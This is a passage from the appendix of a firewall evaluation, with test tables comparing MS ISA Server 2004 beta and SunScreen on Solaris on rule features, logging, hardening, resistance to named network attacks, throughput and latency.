Comments	Since it is possible to run a specified user program if an alert occurs it is possible to run a program which sends messages per snmp trap.

Table 106: MS ISA - security - logging

A.4.4.6 Default behaviour on start-up

Number: IV/VI	
System: C	
Test: The firewall must start up in a secure state	
Result	
Comments	
Test: An empty ruleset should deny all packets	
Result	
Comments	It is not possible to generate an empty ruleset. There is a default rule which denies all that is not allowed in previous defined rules.

Table 107: MS ISA - security - default config

A.4.4.7 Fending known attacks

Fending known attacks with ruleset 1

Number: IV/VII	
System: C	
Ruleset	1
Scenario	1
Test: Land attack	
Result	☑
Comments	The attack will be blocked by ISA. When enabling the intrusion detection system, the attack will be identified correctly as land attack. By default the attack raises only once an alert, but you can change this in Monitoring -> Alerts -> click in the right window Configure Alert Definitions -> double click on Intrusion detected -> Events -> select Immediately.
Test: Smurf attack	
Result	☑
Comments	The attack will be blocked by Windows 2003 and thus not logged by ISA itself.
Test: UDP smurf attack	
Result	☑
Comments	The attack will be blocked by Windows 2003 and thus not logged by ISA itself.
Test: ICMP flood attack	
Result	☒
Comments	When enabling the intrusion detection system the attack will be passed, too. There is no possiblity to limit the amount of allowed ICMP packets except of deny all.
Test: Fragmentation attacks	
Result	☑
Comments	The firewall defragments all the packets. Tiny fragments are combined to one large packet.
Test: ARP spoofing	
Result	☑
Comments	Static arp entries are not overwritten by dynamic ones.
Test: WinNuke attack	
Result	☒

Comments	The attack will be blocked only on port 139 by the intrusion detection system. It is not possible to configure the firewall system to block the attack on other ports or to deny out-of-band data. By default the attack raises only once an alert, but you can change this in Monitoring -> Alerts -> click in the right window Configure Alert Definitions -> double click on Intrusion detected -> Events -> select Immediately.
Test: IP spoofing	
Result	
Comments	The attack will be blocked and identified by ISA. By default the attack raises only once an alert, but you can change this in Monitoring -> Alerts -> click in the right window Configure Alert Definitions -> double click on IP Spoofing -> Events -> select Immediately.

Table 108: MS ISA - security - known attacks (1)

Fending known attacks with ruleset 2

Number: IV/VIII	
System: C	
Ruleset	2
Scenario	1
Test: TCP connect scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP connect scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified. The scan was identified as an attack by the intrusion detection system.
Test: TCP halfopen SYN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified. The scan was identified as an attack by the intrusion detection system.
Test: TCP FIN scan left1	
Result	

Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.

Table 109: MS ISA - security - known attacks (4)

Fending known attacks with ruleset 4

Number: IV/IX	
System: C	
Ruleset	4
Scenario	1
Test: DNS spoofing	

Result	
Comments	Packets (DNS replies) are only allowed on already established streams.
Test: ACK storm	
Result	
Comments	Desynchronised packets passed the firewall.
Test: Syn flood attack	
Result	
Comments	During the attack all services are further on available.

Table 110: MS ISA - security - known attacks (2)

Fending known attacks with ruleset 5

Number: IV/X	
System: C	
Ruleset	5
Scenario	1
Test: Buffer overflow - nessus	
Result	
Comments	Nessus did not find any vulnerabilities.
Test: Buffer overflow - sara	
Result	
Comments	Sara did not find any vulnerabilities.

Table 111: MS ISA - security - known attacks (3)

A.4.5 Usability and documentation

Number: V/I	
System: C	
Test: Easily comprehensible and transparent, no hidden options or implicit rules	
Result	
Comments	The principle of the ISA server is easy to understand, but there are implicit rules (System Policy Rules) which can not be deleted and which are hidden for a novice.
Test: Easily comprehensible syntax and semantics of the ruleset	
Result	

Comments	With the *New Access Rule Wizard* and the predefined protocol objects it is really easy to generate rules. There are examples and a step by step tutorial in the manual.
Test: Ability to store the current ruleset	
Result	☑
Comments	You can backup the ruleset with the export function. Right click on Firewall Policy -> Export.
Test: Log in at least one widely known format	
Result	☑
Comments	The text logs and the SQL logs can be used for further processing.
Test: Log information and alarm signals directly to the OS	
Result	☐
Comments	The logging information are not forwarded to the operating system. Alerts are forwarded to the event log system of the operating system.
Test: Send logging information and alarm signals instantly through a secure path	
Result	☑
Comments	Remote logging to a SQL database can be secured by using IPSec (see Help of ISA server). Only if you use alerting the administrator via email the email is transferred over an unsecure path (if the mailserver is not the ISA server).
Test: React on specified incidents automatically	
Result	☑
Comments	You can define how the firewall should react on alerts under Monitoring -> Alerts -> in the right window click Configure Alert Definition -> double click on the desired event -> Actions. You can decide between sending an email, running a defined program, shutting down or starting a service. In critical situations it is possible to activate that the firewall falls in the so called Lockdown mode where all incoming traffic is blocked. Outgoing traffic and traffic concerning firewall management is accepted further on. This feature has to be activated manually by the administrator under Monitoring -> Alerts -> in the right window click Configure Alert Definition -> double click on the desired event -> Actions -> check Stop selected services -> Select -> check Firewall. The administrator has to quit the Lockdown mode manually.

Table 112: MS ISA - usability

Number: V/II	
System: C	
Test: Detailed manual	
Result	☑

Comments	The documatation of the beta version is very superficial, but you can get the detailed documentation of the final version on the homepage of Microsoft. The documentation of the final version includes the things of the documentation of the beta version und many things in addition.
Test: Online help	
Result	☑
Comments	
Test: Frequently asked questions	
Result	○
Comments	There is no real FAQ on the Microsoft homepage, but there is a special newsgroup (microsoft.private.isa2004beta) where frequently asked questions are answered.
Test: Available in various languages	
Result	☒
Comments	The documentation is only available in english at the moment.
Test: Available in various medias	
Result	☑
Comments	The documentation is build in the firewall software and on the CD (chm format). The documentation of the final version is also available on the Microsoft homepage.
Test: Explains the dependency on other software in detail	
Result	○
Comments	The documentation of the beta version tells you only what you need to run the firewall software and not why (for example Internet Explorer 6 is needed, but why?).
Test: Discusses known bugs in detail	
Result	☒
Comments	
Test: Up-to-date	
Result	○
Comments	Use the documentation of the final version as an up-to-date documentation.
Test: Website with additional information	
Result	☑
Comments	See Microsoft [http://www.microsoft.com/isaserver/beta/default.asp]

Table 113: MS ISA - documentation

A.4.6 Performance

Throughput depending on packet size

Number: VI/I	
System: C	
Ruleset	1
Scenario	1
Packet size (bytes)	**Throughput (MBit/s)**
100	47.55
200	77.92
300	102.51
400	117.56
500	129.92
600	140.23
700	146.92
800	152.85
900	159.51
1 000	161.64
1 100	168.63
1 200	169.28
1 300	173.14
1 400	165.90
1 500	168.46
2 000	152.51
4 000	159.44
8 000	160.10
16 000	162.32
32 000	no measurement data available
64 000	no measurement data available
Comment	When testing with packet size 100 and 200, Windows 2003 was unusable and did not react on input as long as it received packets.
Comment	When testing with packet sizes bigger than 16 000 an error message occured: *Due to an unexpected error, the service fwsrv stopped responding to all requests* . The firewall blocked and logged any received packet. In some cases it crashes. It was neccessary to reboot the firewall.

Table 114: MS ISA - performance - throughput depending on packet size

Maximum throughput in routing mode with NAT/PAT

Number: VI/II
System: C

Ruleset	3
Scenario	1
Test: Maximum throughput in routing mode with NAT/PAT	
Result	168.44 MBit/s
Comments	1 500 byte large packets

Table 115: MS ISA - performance - throughput in routing mode with NAT/PAT

Throughput depending on size of ruleset

Number: VI/III	
System: C	
Ruleset	6
Scenario	1
Loops / rules	**Throughput (MBit/s)**
10 / 143	168.46
20 / 283	168.46
30 / 443	168.47
40 / 563	168.43
50 / 703	168.43
60 / 843	168.39
70 / 983	168.38
80 / 1 123	168.44
90 / 1 263	168.47
100 / 1 403	167.80
200 / ≈2800	no measurement data available
300 / ≈4200	no measurement data available
400 / ≈5600	no measurement data available
500 / ≈7000	no measurement data available
600 / ≈8400	no measurement data available
700 / ≈9800	no measurement data available
Comment	The server crashed after 12 hours during reading the ruleset with 200 loops without any error message. Therefore the other tests with more loops were skipped because it is to expect that the system reacts in the same manner.
Comment	Reading and activating a ruleset takes too much time. The time is increasing faster than the number of rules (>O(n)).

Table 116: MS ISA - performance - throughput depending on size of ruleset

Throughput depending on activation of stateful inspection

Number: VI/IV	
System: C	
Ruleset	4
Scenario	1
Test: Throughput with activated stateful inspection	
Result	168.41 MBit/s
Comments	1 500 byte large packets

Table 117: MS ISA - performance - throughput

Throughput depending on level of logging

Number: VI/V	
System: C	
Ruleset	7
Scenario	1
Logged computers	**Throughput (MBit/s)**
0	168.05
1	168.36
2	168.45
3	168.49
4	168.36
5	168.49
6	168.43
7	168.43
Comment	Since the firewall works stateful, no single packets were logged. The firewall software produces only a single entry in the log which is a representative for the build up connection.

Table 118: MS ISA - performance - throughput depending on level of logging

Throughput depending on number of simultaneous connections

Number: VI/VI	
System: C	
Ruleset	4

Scenario	1
Connections	**Throughput (MBit/s)**
2 000	no measurement data available
5 000	no measurement data available
10 000	no measurement data available
20 000	no measurement data available
50 000	no measurement data available
100 000	no measurement data available
200 000	no measurement data available
350 000	no measurement data available
Comment	The ISA server limits the number of connections to 160 per client ($160 * 7 = 1120 < 2000$). This number is not changeable in the beta version.

Table 119: MS ISA - performance - throughput depending on simultaneous connections

A.4.6.1 Latency

Best latency time through the firewall

Number: VI/VII	
System: C	
Ruleset	1
Scenario	2
Test: Best latency time	
Result	49.71 μs
Comments	

Table 120: MS ISA - performance - best latency time

Latency time depending on activation of NAT/PAT

Number: VI/VIII	
System: C	
Ruleset	3
Scenario	2
Test: Latency in routing mode with NAT/PAT	
Result	48.13 μs

Comments	

Table 121: MS ISA - performance - latency depending on NAT/PAT

Latency time depending on packet size

Number: VI/IX	
System: C	
Ruleset	1
Scenario	2
Packet size (bytes)	**Latency** (μs)
100	78.48
200	87.11
300	97.78
400	100.26
500	108.52
600	127.80
700	140.28
800	144.99
900	159.90
1 000	170.88
1 100	168.02
1 200	190.96
1 300	201.33
1 400	213.46
1 500	217.67
2 000	265.62
4 000	418.96
8 000	674.45
16 000	1 177.17
32 000	2 213.70
64 000	4 103.78

Table 122: MS ISA - performance - latency depending on packet size

Latency time depending on size of ruleset

Number: VI/X	
System: C	
Ruleset	6
Scenario	2
Loops / rules	**Latency** (μs)
10 / 143	47.65
20 / 283	52.52
30 / 423	49.33
40 / 563	49.32
50 / 703	47.93
60 / 843	48.39
70 / 983	50.56
80 / 1 123	49.55
90 / 1 263	47.77
100 / 1 403	49.64
200 / ≈2800	no measurement data available
300 / ≈4200	no measurement data available
400 / ≈5600	no measurement data available
500 / ≈7000	no measurement data available
600 / ≈8400	no measurement data available
700 / ≈9800	no measurement data available
Comment	The server crashed after 12 hours during reading the ruleset with 200 loops without any error message. Therefore the other tests with more loops were skipped because it is to expect that the system reacts in the same manner.
Comment	Reading and activating a ruleset takes too much time. The time is increasing faster than the number of rules (>O(n)).

Table 123: MS ISA - performance - latency depending on ruleset

Latency time depending on activation of stateful inspection

Number: VI/XI	
System: C	
Ruleset	4
Scenario	2
Test: Latency at activated stateful inspection	
Result	48.29 μs
Comments	

Table 124: MS ISA - performance - latency depending on activation of stateful inspection

Latency time depending on level of logging

Number: VI/XII	
System: C	
Ruleset	7
Scenario	2
Test: Latency without logging	
Result	46.55 μs
Comments	
Test: Latency with activated logging	
Result	48.73 μs
Comments	
Comment	Since the firewall works stateful, no single packets were logged. The firewall software produces only a single entry in the log which is a representative for the build up connection.

Table 125: MS ISA - performance - latency depending on level of logging

Latency time depending on number of simultaneous connections

Number: VI/XIII	
System: C	
Ruleset	4
Scenario	1
Connections	**Latency** (μs)
2 000	no measurement data available
5 000	no measurement data available
10 000	no measurement data available
20 000	no measurement data available
50 000	no measurement data available
100 000	no measurement data available
200 000	no measurement data available
350 000	no measurement data available
Comment	The ISA server limits the number of connection to 160 per client ($160 * 7 = 1120 < 2000$). This number is not changeable in the beta version.

Table 126: MS ISA - performance - latency depending on simultaneous connections

Latency time depending on load on firewall system

Number: VI/XIV	
System: C	
Ruleset	1
Scenario	1
Test: Latency at traffic between 12 computers	
Result	no measurement data available
Comments	No packet passed the firewall during the test.

Table 127: MS ISA - performance - latency depending on load on firewall system

A.4.6.2 Maximum number of connections

Maximum number of simultaneous connections with activated stateful inspection

Number: VI/XV	
System: C	
Ruleset	4
Scenario	1
Test: Maximum number of simultaneous connections with activated stateful inspection	
Result	1120
Comments	The beta version allows 160 connections per client (160 * 7 = 1 120). Sometimes it happens that the firewall accepts more than 160 connections. This happens then in 5 second steps whereat it is questionable if the additional connections really work. The beta version does not allow to increase this value. In the final version it is possible to set a limitation of the number of connections per client for all connection types and a limitation of the number of non-TCP connections per rule and per second.

Table 128: MS ISA - performance - simultaneous connections (1)

Maximum number of simultaneous connections with activated NAT/PAT

Number: VI/XVI	
System: C	
Ruleset	3
Scenario	1

Test: Maximum number of simultaneous connections with activated NAT/PAT	
Result	1120
Comments	The beta version allows 160 connections per client (160 * 7 = 1 120). Sometimes it happens that the firewall accepts more than 160 connections. This happens then in 5 second steps whereat it is questionable if the additional connections really work. The beta version does not allow to increase this value. In the final version it is possible to set a limitation of the number of connections per client for all connection types and a limitation of the number of non-TCP connections per rule and per second.

Table 129: MS ISA - performance - simultaneous connections (2)

A.5 SunScreen on Solaris

A.5.1 General requirements

Number: I/I	
System: E	
Test: Every traffic must go through the firewall	
Result	☑
Comments	Given by scenario.
Test: Every traffic that is not explicitly allowed has to be denied	
Result	☑
Comments	An empty ruleset denies all the traffic.
Test: Administration of the firewall must only be possible through a secure path	
Result	☒
Comments	By default the telnet daemon is activated.
Test: The firewall itself must be resistant against attacks	
Result	◘
Comments	The test tools did not find any vulnerabilities on the firewall itself, but the firewall did not fend all critical attacks.
Test: The firewall must be resistent against failures	
Result	☑
Comments	The firewall works very stable and fast.

Table 130: SunScreen - general requirements

A.5.2 Optional features

Number: II/I	
System: E	
Test: Support for application filters and proxies	
Result	☑
Comments	SunScreen has included proxies for FTP, HTTP, SMTP and Telnet.
Test: Support for network and port address translation	
Result	◘
Comments	It is only possible to translate addresses, but no ports.
Test: Support for virtual private networks	
Result	☑
Comments	SunScreen offers support for VPN.
Test: Support for user authentication	

Result	✓
Comments	See command *authuser* in *ssadm edit* .
Test: Support for address aliasing	
Result	✗
Comments	It is possible to generate aliases for network interfaces but it is not possible to filter the traffic on them.
Test: Support for time based filtering	
Result	✓
Comments	See *Time Objects* .
Test: Support for embedded antivirus	
Result	○
Comments	Support for InterScan from TrendMicro. The virus scanner can examine the traffic which is routed through the HTTP and SMTP proxy.
Test: Support for URL filtering	
Result	✓
Comments	This feature is provided by the included proxy servers for different protocols.
Test: Support for traffic management	
Result	○
Comments	This feature is not included but can be provided by Solaris Bandwidth Manager which is available for additional costs.
Test: Support for demilitarised zones	
Result	✓
Comments	Given by hardware and operating system.

Table 131: SunScreen - optional features

A.5.3 Rulesets and its configuration

Loading large rulesets wastes a lot of time but the time is used only once. When the ruleset is loaded a reboot does not require a reload of the ruleset.

Number: III/I	
System: E	
Test: Allow	
Result	✓
Comments	keyword: *ALLOW*
Test: Deny and reject	
Result	✓

Comments	keyword: *DENY ICMP <code>* (NET_UNREACHABLE, HOST_UNREACHABLE, NET_FORBITTEN and HOST_FORBITTEN)
Test: Deny and drop	
Result	☑
Comments	keyword: *DENY*
Test: Translate (**NAT**, **PAT**)	
Result	☐
Comments	NAT is possible, PAT not. There is an extra policy for NAT rules.
Test: Defragment	
Result	☒
Comments	
Test: Log	
Result	☑
Comments	keyword: *LOG* . It is possible to specify the detail level of logging.

Table 132: SunScreen - rulesets - actions on packets

Number: III/II	
System: E	
Test: Evaluate the unchanged ruleset in a specified order	
Result	☑
Comments	The ruleset is evaluated in first match order.
Test: Test the syntax of the ruleset on integrity and contradiction in terms	
Result	☑
Comments	With command *ssadm activate -a mypolicy*
Test: Test the semantics of the ruleset on integrity and contradiction in terms	
Result	☒
Comments	There may be third party tools.
Test: Define a ruleset in a language with a specified grammar	
Result	☐
Comments	There is no detailed grammar but the manual gives a good overview.
Test: Handling of default rules	
Result	☑
Comments	Given through first match order.
Test: Actuate stateful inspection	
Result	☑
Comments	All connections are handled stateful. It is not possible to deactivate stateful inspection.

Table 133: SunScreen - ruleset requirements

A.5.3.1 Subnet layer (OSI layer 2)

Number: III/III	
System: E	
Test: Act by means of the affected interface	
Result	☑
Comments	An interface object has to be generated.
Test: Act by means of incoming or outgoing packets	
Result	☒
Comments	
Test: Act by means of fields of Ethernet	
Result	☒
Comments	SunScreen inspects only on OSI3 and above
Test: Act by means of other network technologies	
Result	☒
Comments	SunScreen inspects only on OSI3 and above

Table 134: SunScreen - rulesets - subnet layer

Number: III/IV	
System: E	
Test: Ethernet address of destination	
Result	☒
Comments	SunScreen inspects only on OSI3 and above
Test: Ethernet address of sender	
Result	☒
Comments	SunScreen inspects only on OSI3 and above
Test: Protocol type	
Result	☒
Comments	SunScreen inspects only on OSI3 and above
Test: Checksum	
Result	☒
Comments	SunScreen inspects only on OSI3 and above

Table 135: SunScreen - rulesets - subnet layer - fields of Ethernet

A.5.3.2 Internet layer (OSI layer 3)

Number: III/V	
System: E	
Test: Act by means of fields of IPv4	
Result	☑
Comments	
Test: Act by means of fields of ICMPv4	
Result	☑
Comments	
Test: Act by means of fields of IPv6	
Result	☒
Comments	SunScreen blocks all IPv6 traffic.
Test: Act by means of fields of ICMPv6	
Result	☒
Comments	SunScreen blocks all ICMPv6 traffic.
Test: Act by means of other network technologies	
Result	☒
Comments	

Table 136: SunScreen - rulesets - internet layer

Number: III/VI	
System: E	
Test: Version	
Result	☒
Comments	
Test: Internet header length	
Result	☒
Comments	
Test: Type of service	
Result	☒
Comments	
Test: Total length	
Result	☒
Comments	
Test: Identification	
Result	☒
Comments	

Test: May/don't fragment flag	
Result	☒
Comments	
Test: Last/more fragment flag	
Result	☒
Comments	
Test: Fragment offset	
Result	☒
Comments	
Test: Time to live	
Result	☒
Comments	
Test: Protocol	
Result	☑
Comments	See Common Objects -> Service -> generate a Service Object -> select a Filter.
Test: Header checksum	
Result	☒
Comments	
Test: Source address	
Result	☑
Comments	See Policy Rules -> Packet Filtering -> Source.
Test: Destination address	
Result	☑
Comments	See Policy Rules -> Packet Filtering -> Destination.
Test: Options	
Result	☒
Comments	

Table 137: SunScreen - rulesets - internet layer - fields of IPv4

Number: III/VII	
System: E	
Test: Type	
Result	☑
Comments	See Common Objects -> Service -> generate a Service Object -> select the ICMP filter -> write the type in the field Port.
Test: Code	
Result	☒

Comments	
Test: Checksum	
Result	☒
Comments	

Table 138: SunScreen - rulesets - internet layer - fields of ICMPv4

Number: III/VIII	
System: E	
Test: 0 - Echo reply	
Result	☑
Comments	
Test: 3 - Destination unreachable	
Result	☑
Comments	
Test: 4 - Source quench	
Result	☑
Comments	
Test: 5 - Redirect	
Result	☑
Comments	
Test: 8 - Echo	
Result	☑
Comments	
Test: 11 - Time exceeded	
Result	☑
Comments	
Test: 12 - Parameter problem	
Result	☑
Comments	
Test: 13 - Timestamp	
Result	☑
Comments	
Test: 14 - Timestamp reply	
Result	☑
Comments	
Test: 15 - Information request	
Result	☑

Comments	
Test: 16 - Information reply	
Result	
Comments	

Table 139: SunScreen - rulesets - internet layer - types of ICMP

Number: III/IX	
System: E	
Test: Version	
Result	
Comments	SunScreen does not support IPv6.
Test: Traffic class	
Result	
Comments	SunScreen does not support IPv6.
Test: Flow label	
Result	
Comments	SunScreen does not support IPv6.
Test: Payload length	
Result	
Comments	SunScreen does not support IPv6.
Test: Next header	
Result	
Comments	SunScreen does not support IPv6.
Test: Hop limit	
Result	
Comments	SunScreen does not support IPv6.
Test: Source address	
Result	
Comments	SunScreen does not support IPv6.
Test: Destination address	
Result	
Comments	SunScreen does not support IPv6.

Table 140: SunScreen - rulesets - internet layer - fields of IPv6

Number: III/X
System: E
Test: Type

Result	☒
Comments	SunScreen does not support ICMPv6.
Test: Code	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: Checksum	
Result	☒
Comments	SunScreen does not support ICMPv6.

Table 141: SunScreen - rulesets - internet layer - fields of ICMPv6

Number: III/XI	
System: E	
Test: 1 - Destination unreachable	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 2 - Packet too big	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 3 - Time exceeded	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 4 - Parameter problem	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 128 - Echo request	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 129 - Echo reply	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 130 - Group membership query	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 131 - Group membership report	
Result	☒
Comments	SunScreen does not support ICMPv6.
Test: 132 - Group membership reduction	

Result	☒
Comments	SunScreen does not support ICMPv6.

Table 142: SunScreen - rulesets - internet layer - types of ICMPv6

A.5.3.3 Transport layer (OSI layer 4)

Number: III/XII	
System: E	
Test: Source port	
Result	☒
Comments	
Test: Destination port	
Result	☑
Comments	See Common Objects -> Service -> generate a Service Object -> select the TCP filter -> write the destination port in the field Port.
Test: Sequence number	
Result	☒
Comments	
Test: Acknowledgment number	
Result	☒
Comments	
Test: Data offset	
Result	☒
Comments	
Test: Bit 101 - Bit 106 (reserved)	
Result	☒
Comments	
Test: URG: Urgent pointer field significant	
Result	☒
Comments	
Test: ACK: Acknowledgment field significant	
Result	☒
Comments	
Test: PSH: Push function	
Result	☒
Comments	
Test: RST: Reset the connection	

Result	☒
Comments	
Test: SYN: Synchronise sequence numbers	
Result	☒
Comments	
Test: FIN: No more data from sender	
Result	☒
Comments	
Test: Window	
Result	☒
Comments	
Test: Checksum	
Result	☒
Comments	
Test: Urgent pointer	
Result	☒
Comments	
Test: Options	
Result	☒
Comments	
Test: Padding	
Result	☒
Comments	

Table 143: SunScreen - rulesets - transport layer - fields of TCP

Number: III/XIII	
System: E	
Test: Source port	
Result	☒
Comments	
Test: Destination port	
Result	☑
Comments	See Common Objects -> Service -> generate a Service Object -> select the UDP filter -> write the destination port in the field Port.
Test: Length	
Result	☒
Comments	
Test: Checksum	

Result	☒
Comments	

Table 144: SunScreen - rulesets - transport layer - fields of UDP

A.5.4 Security and its configuration

A.5.4.1 Access to the firewall

Number: IV/I	
System: E	
Test: Access must only be granted through a secure path	
Result	☒
Comments	Telnet is activated by default. The service can be deactivated with a small amount of work. Then the firewall system is only accessible via local login or via ssh.
Test: User authentication must happen with strong encryption	
Result	☑
Comments	The system passwords are encrypted with *crypt* and stored in */etc/shadow* . The passwords for the users of the GUI are also encrypted with *crypt* and stored in */etc/sunscreen/configs/default/.ezdb/auth_user.d/<USERNAME>*.
Test: The role of a reviser must be offered	
Result	☑
Comments	You have to create a new Authorized User Object and enable reading access in Policy Rules -> Administrative Access.
Test: Access to the system must be logged	
Result	☑
Comments	Logins through the GUI are logged in the firewall log and logins to the operating system are logged in a binary format to */var/adm/wtmpx* and can be read with the command *last* .

Table 145: SunScreen - security - access

A.5.4.2 Hardening the operating system

Number: IV/II	
System: E	
Test: The firewall should only depend on necessary software	
Result	☐

Comments	During the installation of the operating system and the firewall software it was not possible to choose a minimal installation. SunScreen needs a full installation of the operating system. It is possible to harden the operating system with the script */usr/lib/sunscreen/lib/harden_os* . This script removes all the software which is not needed by SunScreen. The hardening process can not be reversed.

Table 146: SunScreen - security - operating system

A.5.4.3 Selftests

Number: IV/III	
System: E	
Test: Test integrity in non regular intervals	
Result	☒
Comments	But it is possible to configure a screen so that it checks another screen in a special interval. If the other screen does not work correctly the watching screen can take over the functionality of the watched screen.
Test: List current connections	
Result	☐
Comments	This is possible with *ssadm lib/nattables* and *ssadm lib/statetables* , but it does not work reliable. When you establish a lot of connections through the firewall not all connections are listed. In the documentation, these functions are described as unstable. There is no support for them.

Table 147: SunScreen - security - selftests

A.5.4.4 Guessing and fingerprinting

Number: IV/IV	
System: E	
Ruleset	1
Scenario	1
Test: The firewall must hide its properties	
Result	☒
Comments	Nmap identifies the operating system as Sun Solaris 9.
Test: The firewall must use random sequence numbers	
Result	☐
Comments	Nmap found out: nmap Class: random positive increments; Difficulty: 25790 (Worthy challenge).

Test: The firewall must use random IP ID's	
Result	☒
Comments	Nmap found out that the IP ID's are incremental.
Test: The firewall must be able to rewrite packets	
Result	☒
Comments	

Table 148: SunScreen - security - fingerprinting

A.5.4.5 Logging and notification

Number: IV/V	
System: E	
Test: Log to persistant storage	
Result	☑
Comments	The log is stored in a binary format in */var/sunscreen/logs/* .
Test: Log rotation	
Result	☒
Comments	
Test: Log backup/transfer	
Result	☐
Comments	You can backup the logfile with *ssadm log get > <logfilename>* . The transfer has to be done manually, for example with scp.
Test: Automatic logfile processing/scripting	
Result	☑
Comments	The output of *ssadm logdump -i <logfilename>* can be used for further processing and scripting.
Test: Maximum logfile size	
Result	100MByte
Comments	To change the logfile size type *ssadm edit Initial -c "vars add prg=log name=LogSize value=<newValue_in_MByte> description="log size (MB)""* .
Test: Ability to log any information which it can filter by	
Result	☐
Comments	SunScreen logs a lot of information of packets which carry the payload of well known protocols (like HTTP). But if an unknown protocol is used it is not possible to inspect the content of the packets in the log.
Test: Ability to alert admin in case of emergency	
Result	☑

Comments	The administrator can be alerted by **SNMP** trap.
Test: Ability to alert by mail	
Result	☒
Comments	Maybe that there are third-party tools which are watching the logfile and sending emails in the case of illegal packets.
Test: Ability to alert by pager	
Result	☒
Comments	Maybe that there are third-party tools which are watching the logfile and sending a message to the pager in the case of illegal packets.
Test: Ability to alert by sms	
Result	☒
Comments	Maybe that there are third-party tools which are watching the logfile and sending sms in the case of illegal packets.
Test: Ability to alert by snmp trap	
Result	☑
Comments	

Table 149: SunScreen - security - logging

In overload situations the log mechanism does not log all packets. How often logging failes can be identified with the command *ssadm traffic_stats* (see log failures). This limitation is also annoted in the documenation.

A.5.4.6 Default behaviour on start-up

Number: IV/VI	
System: E	
Test: The firewall must start up in a secure state	
Result	☑
Comments	
Test: An empty ruleset should deny all packets	
Result	☑
Comments	

Table 150: SunScreen - security - default config

A.5.4.7 Fending known attacks

Fending known attacks with ruleset 1

Number: IV/VII	
System: E	
Ruleset	1
Scenario	1
Test: Land attack	
Result	☒
Comments	It is not possible to create a rule which blocks packets which have the same source and destination IP address and port.
Test: Smurf attack	
Result	☑
Comments	Broadcast **ICMP** packets are not routed.
Test: UDP smurf attack	
Result	☑
Comments	Broadcast **UDP** packets are not routed.
Test: ICMP flood attack	
Result	☒
Comments	It is not possible to limit the amount of ICMP packets
Test: Fragmentation attacks	
Result	☑
Comments	Tiny fragments are blocked. Larger fragments are routed but not defragmented.
Test: ARP spoofing	
Result	☒
Comments	The static ARP entry was overwritten.
Test: WinNuke attack	
Result	☒
Comments	It is not possible to filter packets with set urgent pointer.
Test: IP spoofing	
Result	☐
Comments	IP spoofing is activated by default but it is not working correctly. The Address Objects must be assigned to the correct Interface Objects for correct working. The firewall does not know which IP range belongs to an interface by default.

Table 151: SunScreen - security - known attacks (1)

Fending known attacks with ruleset 2

Number: IV/VIII

System: E	
Ruleset	2
Scenario	1
Test: TCP connect scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP connect scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan firewall	

Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.

Table 152: SunScreen - security - known attacks (4)

Fending known attacks with ruleset 4

Number: IV/IX	
System: E	
Ruleset	4
Scenario	1
Test: DNS spoofing	
Result	
Comments	Packets (DNS replies) are only allowed on already established streams.
Test: ACK storm	
Result	
Comments	Desynchronised packets passed the firewall.
Test: Syn flood attack	
Result	
Comments	Connections to the attacked service are not possible during the test, but new connections to other machines or other ports are possible further on.

Table 153: SunScreen - security - known attacks (2)

Fending known attacks with ruleset 5

Number: IV/X	
System: E	
Ruleset	5

Scenario	1
Test: Buffer overflow - nessus	
Result	☑
Comments	Nessus did not find any vulnerabilities.
Test: Buffer overflow - sara	
Result	☑
Comments	Sara did not find any vulnerabilities.

Table 154: SunScreen - security - known attacks (3)

A.5.5 Usability and documentation

Number: V/I	
System: E	
Test: Easily comprehensible and transparent, no hidden options or implicit rules	
Result	☑
Comments	
Test: Easily comprehensible syntax and semantics of the ruleset	
Result	☑
Comments	The documentation contains examples and step by step tutorials.
Test: Ability to store the current ruleset	
Result	☑
Comments	The ruleset can be stored in a file with *ssadm active -x > filename* .
Test: Log in at least one widely known format	
Result	☑
